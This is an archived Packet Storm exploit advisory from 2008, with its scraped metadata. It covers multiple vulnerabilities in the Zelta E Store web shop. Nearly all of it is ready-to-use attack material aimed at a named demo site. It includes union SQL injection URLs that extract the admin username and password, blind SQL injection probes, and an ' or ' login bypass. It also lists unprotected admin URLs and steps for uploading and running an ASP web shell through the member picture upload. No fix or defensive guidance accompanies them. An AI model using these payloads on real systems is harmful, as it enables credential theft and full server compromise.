ID PACKETSTORM:73090
Type packetstorm
Reporter ZoRLu
Modified 2008-12-17T00:00:00
Description
`[~] Zelta E Store RFU/BYPASS/R-SQL/B-SQL Multiple Remote Vulns.
[~]
[~] script: http://www.zeltatrade.com/
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu msn: trt-turk@hotmail.com
[~]
[~] Date: 16/12/2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] dangerous-unit (D-Unit): ZoRLu & SuB-ZeRo
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------
exp for demo: (R-SQL)
user: http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+union+select+1,adminlogin,3,4+from+admin
pass: http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+union+select+1,adminpass,3,4+from+admin
exp for demo: (B-SQL)
http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+and+1=1 (true)
http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+and+1=100 (false)
exp for demo: (auth bypass)
http://joineazy.com/members/login.asp
username: trt-turk@hotmail.com
pass: ' or '
exp for demo: (admin bypass)
http://joineazy.com/embadmin/admin_main.asp
http://joineazy.com/embadmin/site_setup.asp
http://joineazy.com/embadmin/main_baseimage.asp
exp for demo: (RFU)
firs you register to site
login to site and edit your pictures select your shell.asp
go your shell asp:
http://joineazy.com/members/member_pictures/shell.asp
[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke
[~]
[~] yildirimordulari.org & darkc0de.com
[~]
[~]----------------------------------------------------------------------
`
{"sourceHref": "https://packetstormsecurity.com/files/download/73090/zelta-rfusql.txt", "sourceData": "`[~] Zelta E Store RFU/BYPASS/R-SQL/B-SQL Multiple Remote Vulns. \n[~] \n[~] script: http://www.zeltatrade.com/ \n[~] \n[~] ---------------------------------------------------------- \n[~] Discovered By: ZoRLu msn: trt-turk@hotmail.com \n[~] \n[~] Date: 16/12/2008 \n[~] \n[~] Home: www.z0rlu.blogspot.com \n[~] \n[~] dangerous-unit (D-Unit): ZoRLu & SuB-ZeRo \n[~] \n[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( ( \n[~] ----------------------------------------------------------- \n \nexp for demo: (R-SQL) \n \nuser: http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+union+select+1,adminlogin,3,4+from+admin \n \npass: http://joineazy.com/store/productsofcat.asp?p=1&category_id=17+union+select+1,adminpass,3,4+from+admin \n \n \nexp for demo: (B-SQL) \n \nhttp://joineazy.com/store/productsofcat.asp?p=1&category_id=17+and+1=1 (true) \n \nhttp://joineazy.com/store/productsofcat.asp?p=1&category_id=17+and+1=100 (false) \n \n \nexp for demo: (auth bypass) \n \nhttp://joineazy.com/members/login.asp \n \nusername: trt-turk@hotmail.com \n \npass: ' or ' \n \n \nexp for demo: (admin bypass) \n \nhttp://joineazy.com/embadmin/admin_main.asp \n \nhttp://joineazy.com/embadmin/site_setup.asp \n \nhttp://joineazy.com/embadmin/main_baseimage.asp \n \n \nexp for demo: (RFU) \n \nfirs you register to site \n \nlogin to site and edit your pictures select your shell.asp \n \ngo your shell asp: \n \nhttp://joineazy.com/members/member_pictures/shell.asp \n \n[~]---------------------------------------------------------------------- \n[~] Greetz tO: str0ke \n[~] \n[~] yildirimordulari.org & darkc0de.com \n[~] \n[~]---------------------------------------------------------------------- \n \n`\n", "edition": 1, "references": [], "modified": "2008-12-17T00:00:00", "hash": "a773f8350dc66bc189dc18bc280d5278e9180f901566d6ed81472eddc2e6043d", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/73090/Zelta-E-Store-Multiple-Vulnerabilities.html", "description": "", "id": "PACKETSTORM:73090", "reporter": "ZoRLu", "lastseen": "2016-11-03T10:16:43", "published": "2008-12-17T00:00:00", "enchantments": {"vulnersScore": 5.0}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "Zelta E Store Multiple Vulnerabilities", "viewCount": 0, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "75fcbe74ffac30225e2cc33096af53fe", "key": "href"}, {"hash": "7127e9da1ea01bb39a28f4583336443c", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "7127e9da1ea01bb39a28f4583336443c", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "e5e87cf9669927ca4b16a90f3316b29a", "key": "reporter"}, {"hash": "b9a85ab7d46299b02029a1dbfd23f674", "key": "sourceData"}, {"hash": "d0b409322bfe2f7a447842834d403174", "key": "sourceHref"}, {"hash": "db02175ec6b019bdbf4d4671da350222", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}
{"result": {}}
